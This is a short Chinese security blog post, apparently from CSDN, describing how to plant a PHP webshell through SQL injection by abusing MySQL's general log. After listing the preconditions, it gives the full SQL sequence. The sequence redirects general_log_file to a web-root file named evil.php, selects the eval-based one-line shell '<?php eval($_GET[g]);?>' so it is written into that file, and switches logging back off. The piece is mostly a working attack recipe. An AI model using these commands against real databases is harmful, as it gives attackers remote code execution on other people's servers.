WEB安全--SQL注入--利用log写入webshell

一、原理:

这也是对之前文章的补充:WEB安全--SQL注入--INTO OUTFILE-CSDN博客

我们可以通过修改MySQL的log文件,用select关键字写入木马文件放在服务器物理地址中,通过访问物理地址getshell。

二、条件:

用户有写入权限

需要知道物理路径(绝对路径)

需要能执行多行SQL语句

关闭对单引号的转义(GPC)

三、利用方式:

sql 复制代码
show variables like '%general%';            	 # 查看配置
 
set global general_log = on;              		 # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。
 
set global general_log_file = 'D:/WWW/evil.php'; # 设置日志目录为shell地址
 
select '<?php eval($_GET[g]);?>'             	 # 写入shell
 
set global general_log=off;                  	 # 关闭general log模式
相关推荐
燕雀安知鸿鹄之志哉.28 分钟前
ctfshow WEB web5
安全·web安全·网络安全·系统安全
Sinokap2 小时前
Let’s Encrypt 宣布推出短期证书与 IP 地址支持,推动 Web 安全迈向新高度
前端·tcp/ip·安全·ocr
若初&2 小时前
【新手初学】SQL注入getshell
数据库·sql·web安全
屎派克3 小时前
物理安全——问答
安全
点我头像干啥3 小时前
静态网页应用开发环境搭建实战教程
网络·websocket·web安全
白悠离3 小时前
hackmyvm-JO2024
linux·web安全·网络安全
你邻座的怪同学4 小时前
使用MyBatis Plus的QueryWrapper实现复杂的SQL查询
sql·oracle·mybatis
是懒羊羊吖~5 小时前
RCE漏洞
笔记·安全
网络安全-老纪6 小时前
网络安全-网络安全基础
安全·web安全·php
矿渣渣7 小时前
嵌入式系统安全架构白皮书
安全·安全架构